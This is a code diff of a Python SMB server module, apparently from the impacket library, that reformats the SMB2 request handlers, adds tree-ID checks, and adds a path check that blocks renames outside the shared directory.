+ os.close(fileHandle) + infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName), + smb2.SMB2_FILE_NETWORK_OPEN_INFO) + except Exception as e: + smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR) + errorCode = STATUS_INVALID_HANDLE + else: + # Check if the file was marked for removal + if connData['OpenedFiles'][fileID]['DeleteOnClose'] is True: + try: + if os.path.isdir(pathName): + shutil.rmtree(connData['OpenedFiles'][fileID]['FileName']) + else: + os.remove(connData['OpenedFiles'][fileID]['FileName']) + except Exception as e: + smbServer.log("SMB2_CLOSE %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + + # Now fill out the response + if infoRecord is not None: + respSMBCommand['CreationTime'] = infoRecord['CreationTime'] + respSMBCommand['LastAccessTime'] = infoRecord['LastAccessTime'] + respSMBCommand['LastWriteTime'] = infoRecord['LastWriteTime'] + respSMBCommand['ChangeTime'] = infoRecord['ChangeTime'] + respSMBCommand['AllocationSize'] = infoRecord['AllocationSize'] + respSMBCommand['EndofFile'] = infoRecord['EndOfFile'] + respSMBCommand['FileAttributes'] = infoRecord['FileAttributes'] + if errorCode == STATUS_SUCCESS: + del (connData['OpenedFiles'][fileID]) + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -3156,24 +3330,25 @@ def smb2Close(connId, smbServer, recvPacket): def smb2QueryInfo(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb2.SMB2QueryInfo_Response() + respSMBCommand = smb2.SMB2QueryInfo_Response() queryInfo = smb2.SMB2QueryInfo(recvPacket['Data']) - - errorCode = STATUS_SUCCESS + + errorCode = STATUS_SUCCESS respSMBCommand['OutputBufferOffset'] = 0x48 respSMBCommand['Buffer'] = b'\x00' - if queryInfo['FileID'].getData() == b'\xff'*16: + if queryInfo['FileID'].getData() == b'\xff' * 16: # Let's take the data from the lastRequest - if 'SMB2_CREATE' in connData['LastRequest']: + if 'SMB2_CREATE' in connData['LastRequest']: fileID = connData['LastRequest']['SMB2_CREATE']['FileID'] else: fileID = queryInfo['FileID'].getData() else: fileID = queryInfo['FileID'].getData() + # Get the Tid associated if recvPacket['TreeID'] in connData['ConnectedShares']: if fileID in connData['OpenedFiles']: fileName = connData['OpenedFiles'][fileID]['FileName'] @@ -3181,7 +3356,7 @@ def smb2QueryInfo(connId, smbServer, recvPacket): if queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILE: if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_INTERNAL_INFO: # No need to call queryFileInformation, we have the data here - infoRecord = smb2.FileInternalInformation() + infoRecord = smb2.FILE_INTERNAL_INFORMATION() infoRecord['IndexNumber'] = fileID else: infoRecord, errorCode = queryFileInformation(os.path.dirname(fileName), @@ -3189,15 +3364,16 @@ def smb2QueryInfo(connId, smbServer, recvPacket): queryInfo['FileInfoClass']) elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM: if queryInfo['FileInfoClass'] == smb2.SMB2_FILE_EA_INFO: - infoRecord = b'\x00'*4 + infoRecord = b'\x00' * 4 else: - infoRecord = queryFsInformation(os.path.dirname(fileName), os.path.basename(fileName), queryInfo['FileInfoClass']) + infoRecord = queryFsInformation(os.path.dirname(fileName), os.path.basename(fileName), + queryInfo['FileInfoClass']) elif queryInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY: # Failing for now, until we support it infoRecord = None errorCode = STATUS_ACCESS_DENIED else: - smbServer.log("queryInfo not supported (%x)" % queryInfo['InfoType'], logging.ERROR) + smbServer.log("queryInfo not supported (%x)" % queryInfo['InfoType'], logging.ERROR) if infoRecord is not None: respSMBCommand['OutputBufferLength'] = len(infoRecord) @@ -3207,7 +3383,6 @@ def smb2QueryInfo(connId, smbServer, recvPacket): else: errorCode = STATUS_SMB_BAD_TID - smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -3215,23 +3390,24 @@ def smb2QueryInfo(connId, smbServer, recvPacket): def smb2SetInfo(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb2.SMB2SetInfo_Response() + respSMBCommand = smb2.SMB2SetInfo_Response() setInfo = smb2.SMB2SetInfo(recvPacket['Data']) - - errorCode = STATUS_SUCCESS - if setInfo['FileID'].getData() == b'\xff'*16: + errorCode = STATUS_SUCCESS + + if setInfo['FileID'].getData() == b'\xff' * 16: # Let's take the data from the lastRequest - if 'SMB2_CREATE' in connData['LastRequest']: + if 'SMB2_CREATE' in connData['LastRequest']: fileID = connData['LastRequest']['SMB2_CREATE']['FileID'] else: fileID = setInfo['FileID'].getData() else: fileID = setInfo['FileID'].getData() + # Get the Tid associated if recvPacket['TreeID'] in connData['ConnectedShares']: - path = connData['ConnectedShares'][recvPacket['TreeID']]['path'] + path = connData['ConnectedShares'][recvPacket['TreeID']]['path'] if fileID in connData['OpenedFiles']: pathName = connData['OpenedFiles'][fileID]['FileName'] @@ -3241,8 +3417,8 @@ def smb2SetInfo(connId, smbServer, recvPacket): if informationLevel == smb2.SMB2_FILE_DISPOSITION_INFO: infoRecord = smb.SMBSetFileDispositionInfo(setInfo['Buffer']) if infoRecord['DeletePending'] > 0: - # Mark this file for removal after closed - connData['OpenedFiles'][fileID]['DeleteOnClose'] = True + # Mark this file for removal after closed + connData['OpenedFiles'][fileID]['DeleteOnClose'] = True elif informationLevel == smb2.SMB2_FILE_BASIC_INFO: infoRecord = smb.SMBSetFileBasicInfo(setInfo['Buffer']) # Creation time won't be set, the other ones we play with. @@ -3257,48 +3433,52 @@ def smb2SetInfo(connId, smbServer, recvPacket): else: mtime = getUnixTime(mtime) if atime > 0 and mtime > 0: - os.utime(pathName,(atime,mtime)) + os.utime(pathName, (atime, mtime)) elif informationLevel == smb2.SMB2_FILE_END_OF_FILE_INFO: fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] infoRecord = smb.SMBSetFileEndOfFileInfo(setInfo['Buffer']) if infoRecord['EndOfFile'] > 0: - os.lseek(fileHandle, infoRecord['EndOfFile']-1, 0) + os.lseek(fileHandle, infoRecord['EndOfFile'] - 1, 0) os.write(fileHandle, b'\x00') elif informationLevel == smb2.SMB2_FILE_RENAME_INFO: renameInfo = smb2.FILE_RENAME_INFORMATION_TYPE_2(setInfo['Buffer']) - newPathName = os.path.join(path,renameInfo['FileName'].decode('utf-16le').replace('\\', '/')) + newFileName = normalize_path(renameInfo['FileName'].decode('utf-16le')) + newPathName = os.path.join(path, newFileName) + if not isInFileJail(path, newFileName): + smbServer.log("Path not in current working directory", logging.ERROR) + return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD + if renameInfo['ReplaceIfExists'] == 0 and os.path.exists(newPathName): return [smb2.SMB2Error()], None, STATUS_OBJECT_NAME_COLLISION try: - os.rename(pathName,newPathName) - connData['OpenedFiles'][fileID]['FileName'] = newPathName + os.rename(pathName, newPathName) + connData['OpenedFiles'][fileID]['FileName'] = newPathName except Exception as e: - smbServer.log("smb2SetInfo: %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + smbServer.log("smb2SetInfo: %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED else: smbServer.log('Unknown level for set file info! 0x%x' % informationLevel, logging.ERROR) # UNSUPPORTED - errorCode = STATUS_NOT_SUPPORTED - #elif setInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM: + errorCode = STATUS_NOT_SUPPORTED + # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_FILESYSTEM: # # The underlying object store information is being set. # setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass']) - #elif setInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY: + # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_SECURITY: # # The security information is being set. # # Failing for now, until we support it # infoRecord = None # errorCode = STATUS_ACCESS_DENIED - #elif setInfo['InfoType'] == smb2.SMB2_0_INFO_QUOTA: + # elif setInfo['InfoType'] == smb2.SMB2_0_INFO_QUOTA: # # The underlying object store quota information is being set. # setInfo = queryFsInformation('/', fileName, queryInfo['FileInfoClass']) else: - smbServer.log("setInfo not supported (%x)" % setInfo['InfoType'], logging.ERROR) + smbServer.log("setInfo not supported (%x)" % setInfo['InfoType'], logging.ERROR) else: errorCode = STATUS_INVALID_HANDLE else: errorCode = STATUS_SMB_BAD_TID - smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -3307,40 +3487,44 @@ def smb2Write(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2Write_Response() - writeRequest = smb2.SMB2Write(recvPacket['Data']) + writeRequest = smb2.SMB2Write(recvPacket['Data']) respSMBCommand['Buffer'] = b'\x00' - if writeRequest['FileID'].getData() == b'\xff'*16: + if writeRequest['FileID'].getData() == b'\xff' * 16: # Let's take the data from the lastRequest - if 'SMB2_CREATE' in connData['LastRequest']: + if 'SMB2_CREATE' in connData['LastRequest']: fileID = connData['LastRequest']['SMB2_CREATE']['FileID'] else: fileID = writeRequest['FileID'].getData() else: fileID = writeRequest['FileID'].getData() - if fileID in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] - errorCode = STATUS_SUCCESS - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - offset = writeRequest['Offset'] - # If we're trying to write past the file end we just skip the write call (Vista does this) - if os.lseek(fileHandle, 0, 2) >= offset: - os.lseek(fileHandle,offset,0) - os.write(fileHandle,writeRequest['Buffer']) - else: - sock = connData['OpenedFiles'][fileID]['Socket'] - sock.send(writeRequest['Buffer']) - - respSMBCommand['Count'] = writeRequest['Length'] - respSMBCommand['Remaining']= 0xff - except Exception as e: - smbServer.log('SMB2_WRITE: %s' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + # Get the Tid associated + if recvPacket['TreeID'] in connData['ConnectedShares']: + if fileID in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] + errorCode = STATUS_SUCCESS + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + offset = writeRequest['Offset'] + # If we're trying to write past the file end we just skip the write call (Vista does this) + if os.lseek(fileHandle, 0, 2) >= offset: + os.lseek(fileHandle, offset, 0) + os.write(fileHandle, writeRequest['Buffer']) + else: + sock = connData['OpenedFiles'][fileID]['Socket'] + sock.send(writeRequest['Buffer']) + + respSMBCommand['Count'] = writeRequest['Length'] + respSMBCommand['Remaining'] = 0xff + except Exception as e: + smbServer.log('SMB2_WRITE: %s' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -3350,40 +3534,44 @@ def smb2Read(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2Read_Response() - readRequest = smb2.SMB2Read(recvPacket['Data']) + readRequest = smb2.SMB2Read(recvPacket['Data']) respSMBCommand['Buffer'] = b'\x00' - if readRequest['FileID'].getData() == b'\xff'*16: + if readRequest['FileID'].getData() == b'\xff' * 16: # Let's take the data from the lastRequest - if 'SMB2_CREATE' in connData['LastRequest']: + if 'SMB2_CREATE' in connData['LastRequest']: fileID = connData['LastRequest']['SMB2_CREATE']['FileID'] else: fileID = readRequest['FileID'].getData() else: fileID = readRequest['FileID'].getData() - if fileID in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] - errorCode = 0 - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - offset = readRequest['Offset'] - os.lseek(fileHandle,offset,0) - content = os.read(fileHandle,readRequest['Length']) - else: - sock = connData['OpenedFiles'][fileID]['Socket'] - content = sock.recv(readRequest['Length']) - - respSMBCommand['DataOffset'] = 0x50 - respSMBCommand['DataLength'] = len(content) - respSMBCommand['DataRemaining']= 0 - respSMBCommand['Buffer'] = content - except Exception as e: - smbServer.log('SMB2_READ: %s ' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + # Get the Tid associated + if recvPacket['TreeID'] in connData['ConnectedShares']: + if fileID in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][fileID]['FileHandle'] + errorCode = 0 + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + offset = readRequest['Offset'] + os.lseek(fileHandle, offset, 0) + content = os.read(fileHandle, readRequest['Length']) + else: + sock = connData['OpenedFiles'][fileID]['Socket'] + content = sock.recv(readRequest['Length']) + + respSMBCommand['DataOffset'] = 0x50 + respSMBCommand['DataLength'] = len(content) + respSMBCommand['DataRemaining'] = 0 + respSMBCommand['Buffer'] = content + except Exception as e: + smbServer.log('SMB2_READ: %s ' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -3393,40 +3581,43 @@ def smb2Flush(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2Flush_Response() - flushRequest = smb2.SMB2Flush(recvPacket['Data']) - - if flushRequest['FileID'].getData() in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][flushRequest['FileID'].getData()]['FileHandle'] - errorCode = STATUS_SUCCESS - try: - os.fsync(fileHandle) - except Exception as e: - smbServer.log("SMB2_FLUSH %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + flushRequest = smb2.SMB2Flush(recvPacket['Data']) + + # Get the Tid associated + if recvPacket['TreeID'] in connData['ConnectedShares']: + if flushRequest['FileID'].getData() in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][flushRequest['FileID'].getData()]['FileHandle'] + errorCode = STATUS_SUCCESS + try: + os.fsync(fileHandle) + except Exception as e: + smbServer.log("SMB2_FLUSH %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod def smb2QueryDirectory(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() - queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) respSMBCommand['Buffer'] = b'\x00' # The server MUST locate the tree connection, as specified in section 3.3.5.2.11. if (recvPacket['TreeID'] in connData['ConnectedShares']) is False: return [smb2.SMB2Error()], None, STATUS_NETWORK_NAME_DELETED - - # Next, the server MUST locate the open for the directory to be queried + + # Next, the server MUST locate the open for the directory to be queried # If no open is found, the server MUST fail the request with STATUS_FILE_CLOSED - if queryDirectoryRequest['FileID'].getData() == b'\xff'*16: + if queryDirectoryRequest['FileID'].getData() == b'\xff' * 16: # Let's take the data from the lastRequest - if 'SMB2_CREATE' in connData['LastRequest']: + if 'SMB2_CREATE' in connData['LastRequest']: fileID = connData['LastRequest']['SMB2_CREATE']['FileID'] else: fileID = queryDirectoryRequest['FileID'].getData() @@ -3436,57 +3627,59 @@ def smb2QueryDirectory(connId, smbServer, recvPacket): if (fileID in connData['OpenedFiles']) is False: return [smb2.SMB2Error()], None, STATUS_FILE_CLOSED - # If the open is not an open to a directory, the request MUST be failed + # If the open is not an open to a directory, the request MUST be failed # with STATUS_INVALID_PARAMETER. if os.path.isdir(connData['OpenedFiles'][fileID]['FileName']) is False: return [smb2.SMB2Error()], None, STATUS_INVALID_PARAMETER - # If any other information class is specified in the FileInformationClass - # field of the SMB2 QUERY_DIRECTORY Request, the server MUST fail the - # operation with STATUS_INVALID_INFO_CLASS. + # If any other information class is specified in the FileInformationClass + # field of the SMB2 QUERY_DIRECTORY Request, the server MUST fail the + # operation with STATUS_INVALID_INFO_CLASS. if queryDirectoryRequest['FileInformationClass'] not in ( - smb2.FILE_DIRECTORY_INFORMATION, smb2.FILE_FULL_DIRECTORY_INFORMATION, smb2.FILEID_FULL_DIRECTORY_INFORMATION, - smb2.FILE_BOTH_DIRECTORY_INFORMATION, smb2.FILEID_BOTH_DIRECTORY_INFORMATION, smb2.FILENAMES_INFORMATION): + smb2.FILE_DIRECTORY_INFORMATION, smb2.FILE_FULL_DIRECTORY_INFORMATION, + smb2.FILEID_FULL_DIRECTORY_INFORMATION, + smb2.FILE_BOTH_DIRECTORY_INFORMATION, smb2.FILEID_BOTH_DIRECTORY_INFORMATION, + smb2.FILENAMES_INFORMATION): return [smb2.SMB2Error()], None, STATUS_INVALID_INFO_CLASS - # If SMB2_REOPEN is set in the Flags field of the SMB2 QUERY_DIRECTORY - # Request, the server SHOULD<326> set Open.EnumerationLocation to 0 + # If SMB2_REOPEN is set in the Flags field of the SMB2 QUERY_DIRECTORY + # Request, the server SHOULD<326> set Open.EnumerationLocation to 0 # and Open.EnumerationSearchPattern to an empty string. if queryDirectoryRequest['Flags'] & smb2.SMB2_REOPEN: connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0 connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = '' - - # If SMB2_RESTART_SCANS is set in the Flags field of the SMB2 - # QUERY_DIRECTORY Request, the server MUST set + + # If SMB2_RESTART_SCANS is set in the Flags field of the SMB2 + # QUERY_DIRECTORY Request, the server MUST set # Open.EnumerationLocation to 0. if queryDirectoryRequest['Flags'] & smb2.SMB2_RESTART_SCANS: connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = 0 - # If Open.EnumerationLocation is 0 and Open.EnumerationSearchPattern - # is an empty string, then Open.EnumerationSearchPattern MUST be set - # to the search pattern specified in the SMB2 QUERY_DIRECTORY by - # FileNameOffset and FileNameLength. If FileNameLength is 0, the server + # If Open.EnumerationLocation is 0 and Open.EnumerationSearchPattern + # is an empty string, then Open.EnumerationSearchPattern MUST be set + # to the search pattern specified in the SMB2 QUERY_DIRECTORY by + # FileNameOffset and FileNameLength. If FileNameLength is 0, the server # SHOULD<327> set Open.EnumerationSearchPattern as "*" to search all entries. pattern = queryDirectoryRequest['Buffer'].decode('utf-16le') - if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0 and \ - connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] == '': + if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0 and \ + connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] == '': if pattern == '': pattern = '*' connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern - # If SMB2_INDEX_SPECIFIED is set and FileNameLength is not zero, - # the server MUST set Open.EnumerationSearchPattern to the search pattern + # If SMB2_INDEX_SPECIFIED is set and FileNameLength is not zero, + # the server MUST set Open.EnumerationSearchPattern to the search pattern # specified in the request by FileNameOffset and FileNameLength. if queryDirectoryRequest['Flags'] & smb2.SMB2_INDEX_SPECIFIED and \ - queryDirectoryRequest['FileNameLength'] > 0: + queryDirectoryRequest['FileNameLength'] > 0: connData['OpenedFiles'][fileID]['Open']['EnumerationSearchPattern'] = pattern - pathName = os.path.join(os.path.normpath(connData['OpenedFiles'][fileID]['FileName']),pattern) + pathName = os.path.join(os.path.normpath(connData['OpenedFiles'][fileID]['FileName']), pattern) searchResult, searchCount, errorCode = findFirst2(os.path.dirname(pathName), - os.path.basename(pathName), - queryDirectoryRequest['FileInformationClass'], - smb.ATTR_DIRECTORY, isSMB2 = True ) + os.path.basename(pathName), + queryDirectoryRequest['FileInformationClass'], + smb.ATTR_DIRECTORY, isSMB2=True) if errorCode != STATUS_SUCCESS: return [smb2.SMB2Error()], None, errorCode @@ -3499,7 +3692,7 @@ def smb2QueryDirectory(connId, smbServer, recvPacket): if searchCount == 0 and connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] == 0: return [smb2.SMB2Error()], None, STATUS_NO_SUCH_FILE - if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] < 0: + if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] < 0: return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES totalData = 0 @@ -3511,20 +3704,20 @@ def smb2QueryDirectory(connId, smbServer, recvPacket): searchResult[nItem]['NextEntryOffset'] = 0 data = searchResult[nItem].getData() lenData = len(data) - padLen = (8-(lenData % 8)) %8 - - if (totalData+lenData) >= queryDirectoryRequest['OutputBufferLength']: + padLen = (8 - (lenData % 8)) % 8 + + if (totalData + lenData) >= queryDirectoryRequest['OutputBufferLength']: connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] -= 1 break else: - respData += data + b'\x00'*padLen + respData += data + b'\x00' * padLen totalData += lenData + padLen if queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY: break if connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] >= searchCount: - connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = -1 + connData['OpenedFiles'][fileID]['Open']['EnumerationLocation'] = -1 respSMBCommand['OutputBufferOffset'] = 0x48 respSMBCommand['OutputBufferLength'] = totalData @@ -3551,16 +3744,15 @@ def smb2TreeDisconnect(connId, smbServer, recvPacket): respSMBCommand = smb2.SMB2TreeDisconnect_Response() + # Get the Tid associated if recvPacket['TreeID'] in connData['ConnectedShares']: smbServer.log("Disconnecting Share(%d:%s)" % ( - recvPacket['TreeID'], connData['ConnectedShares'][recvPacket['TreeID']]['shareName'])) - del(connData['ConnectedShares'][recvPacket['TreeID']]) + recvPacket['TreeID'], connData['ConnectedShares'][recvPacket['TreeID']]['shareName'])) + del (connData['ConnectedShares'][recvPacket['TreeID']]) errorCode = STATUS_SUCCESS else: - # STATUS_SMB_BAD_TID errorCode = STATUS_SMB_BAD_TID - smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -3587,24 +3779,24 @@ def smb2Ioctl(connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2Ioctl_Response() - ioctlRequest = smb2.SMB2Ioctl(recvPacket['Data']) + ioctlRequest = smb2.SMB2Ioctl(recvPacket['Data']) ioctls = smbServer.getIoctls() if ioctlRequest['CtlCode'] in ioctls: outputData, errorCode = ioctls[ioctlRequest['CtlCode']](connId, smbServer, ioctlRequest) if errorCode == STATUS_SUCCESS: - respSMBCommand['CtlCode'] = ioctlRequest['CtlCode'] - respSMBCommand['FileID'] = ioctlRequest['FileID'] - respSMBCommand['InputOffset'] = 0 - respSMBCommand['InputCount'] = 0 + respSMBCommand['CtlCode'] = ioctlRequest['CtlCode'] + respSMBCommand['FileID'] = ioctlRequest['FileID'] + respSMBCommand['InputOffset'] = 0 + respSMBCommand['InputCount'] = 0 respSMBCommand['OutputOffset'] = 0x70 - respSMBCommand['OutputCount'] = len(outputData) - respSMBCommand['Flags'] = 0 - respSMBCommand['Buffer'] = outputData + respSMBCommand['OutputCount'] = len(outputData) + respSMBCommand['Flags'] = 0 + respSMBCommand['Buffer'] = outputData else: respSMBCommand = outputData else: - smbServer.log("Ioctl not implemented command: 0x%x" % ioctlRequest['CtlCode'],logging.DEBUG) + smbServer.log("Ioctl not implemented command: 0x%x" % ioctlRequest['CtlCode'], logging.DEBUG) errorCode = STATUS_INVALID_DEVICE_REQUEST respSMBCommand = smb2.SMB2Error() @@ -3631,49 +3823,50 @@ def smb2Cancel(connId, smbServer, recvPacket): @staticmethod def default(connId, smbServer, recvPacket): # By default we return an SMB Packet with error not implemented - smbServer.log("Not implemented command: 0x%x" % recvPacket['Command'],logging.DEBUG) + smbServer.log("Not implemented command: 0x%x" % recvPacket['Command'], logging.DEBUG) return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + class Ioctls: - @staticmethod - def fsctlDfsGetReferrals(connId, smbServer, ioctlRequest): + @staticmethod + def fsctlDfsGetReferrals(connId, smbServer, ioctlRequest): return smb2.SMB2Error(), STATUS_FS_DRIVER_REQUIRED - @staticmethod - def fsctlPipeTransceive(connId, smbServer, ioctlRequest): + @staticmethod + def fsctlPipeTransceive(connId, smbServer, ioctlRequest): connData = smbServer.getConnectionData(connId) - + ioctlResponse = '' if ioctlRequest['FileID'].getData() in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['FileHandle'] - errorCode = STATUS_SUCCESS - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - errorCode = STATUS_INVALID_DEVICE_REQUEST - else: - sock = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['Socket'] - sock.sendall(ioctlRequest['Buffer']) - ioctlResponse = sock.recv(ioctlRequest['MaxOutputResponse']) - except Exception as e: - smbServer.log('fsctlPipeTransceive: %s ' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + fileHandle = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['FileHandle'] + errorCode = STATUS_SUCCESS + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + errorCode = STATUS_INVALID_DEVICE_REQUEST + else: + sock = connData['OpenedFiles'][ioctlRequest['FileID'].getData()]['Socket'] + sock.sendall(ioctlRequest['Buffer']) + ioctlResponse = sock.recv(ioctlRequest['MaxOutputResponse']) + except Exception as e: + smbServer.log('fsctlPipeTransceive: %s ' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_INVALID_DEVICE_REQUEST smbServer.setConnectionData(connId, connData) return ioctlResponse, errorCode - @staticmethod - def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest): + @staticmethod + def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest): connData = smbServer.getConnectionData(connId) - + errorCode = STATUS_SUCCESS validateNegotiateInfo = smb2.VALIDATE_NEGOTIATE_INFO(ioctlRequest['Buffer']) validateNegotiateInfoResponse = smb2.VALIDATE_NEGOTIATE_INFO_RESPONSE() validateNegotiateInfoResponse['Capabilities'] = 0 - validateNegotiateInfoResponse['Guid'] = b'A'*16 + validateNegotiateInfoResponse['Guid'] = b'A' * 16 validateNegotiateInfoResponse['SecurityMode'] = 1 validateNegotiateInfoResponse['Dialect'] = smb2.SMB2_DIALECT_002 @@ -3682,15 +3875,15 @@ def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest): class SMBSERVERHandler(socketserver.BaseRequestHandler): - def __init__(self, request, client_address, server, select_poll = False): + def __init__(self, request, client_address, server, select_poll=False): self.__SMB = server # In case of AF_INET6 the client_address contains 4 items, ignore the last 2 self.__ip, self.__port = client_address[:2] self.__request = request - self.__connId = threading.currentThread().getName() - self.__timeOut = 60*5 + self.__connId = threading.current_thread().name + self.__timeOut = 60 * 5 self.__select_poll = select_poll - #self.__connId = os.getpid() + # self.__connId = os.getpid() socketserver.BaseRequestHandler.__init__(self, request, client_address, server) def handle(self): @@ -3706,31 +3899,32 @@ def handle(self): except nmb.NetBIOSTimeout: raise except nmb.NetBIOSError: - break + break if p.get_type() == nmb.NETBIOS_SESSION_REQUEST: - # Someone is requesting a session, we're gonna accept them all :) - _, rn, my = p.get_trailer().split(b' ') - remote_name = nmb.decode_name(b'\x20'+rn) - myname = nmb.decode_name(b'\x20'+my) - self.__SMB.log("NetBIOS Session request (%s,%s,%s)" % (self.__ip, remote_name[1].strip(), myname[1])) - r = nmb.NetBIOSSessionPacket() - r.set_type(nmb.NETBIOS_SESSION_POSITIVE_RESPONSE) - r.set_trailer(p.get_trailer()) - self.__request.send(r.rawData()) + # Someone is requesting a session, we're gonna accept them all :) + _, rn, my = p.get_trailer().split(b' ') + remote_name = nmb.decode_name(b'\x20' + rn) + myname = nmb.decode_name(b'\x20' + my) + self.__SMB.log( + "NetBIOS Session request (%s,%s,%s)" % (self.__ip, remote_name[1].strip(), myname[1])) + r = nmb.NetBIOSSessionPacket() + r.set_type(nmb.NETBIOS_SESSION_POSITIVE_RESPONSE) + r.set_trailer(p.get_trailer()) + self.__request.send(r.rawData()) else: - resp = self.__SMB.processRequest(self.__connId, p.get_trailer()) - # Send all the packets received. Except for big transactions this should be - # a single packet - for i in resp: - if hasattr(i, 'getData'): - session.send_packet(i.getData()) - else: - session.send_packet(i) + resp = self.__SMB.processRequest(self.__connId, p.get_trailer()) + # Send all the packets received. Except for big transactions this should be + # a single packet + for i in resp: + if hasattr(i, 'getData'): + session.send_packet(i.getData()) + else: + session.send_packet(i) except Exception as e: self.__SMB.log("Handle: %s" % e) - #import traceback - #traceback.print_exc() + # import traceback + # traceback.print_exc() break def finish(self): @@ -3739,18 +3933,19 @@ def finish(self): self.__SMB.removeConnection(self.__connId) return socketserver.BaseRequestHandler.finish(self) + class SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer): -#class SMBSERVER(socketserver.ForkingMixIn, socketserver.TCPServer): - def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser = None): + # class SMBSERVER(socketserver.ForkingMixIn, socketserver.TCPServer): + def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser=None): socketserver.TCPServer.allow_reuse_address = True socketserver.TCPServer.__init__(self, server_address, handler_class) # Server name and OS to be presented whenever is necessary - self.__serverName = '' - self.__serverOS = '' + self.__serverName = '' + self.__serverOS = '' self.__serverDomain = '' - self.__challenge = '' - self.__log = None + self.__challenge = '' + self.__log = None # Our ConfigParser data self.__serverConfig = config_parser @@ -3769,108 +3964,111 @@ def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser # SMB2 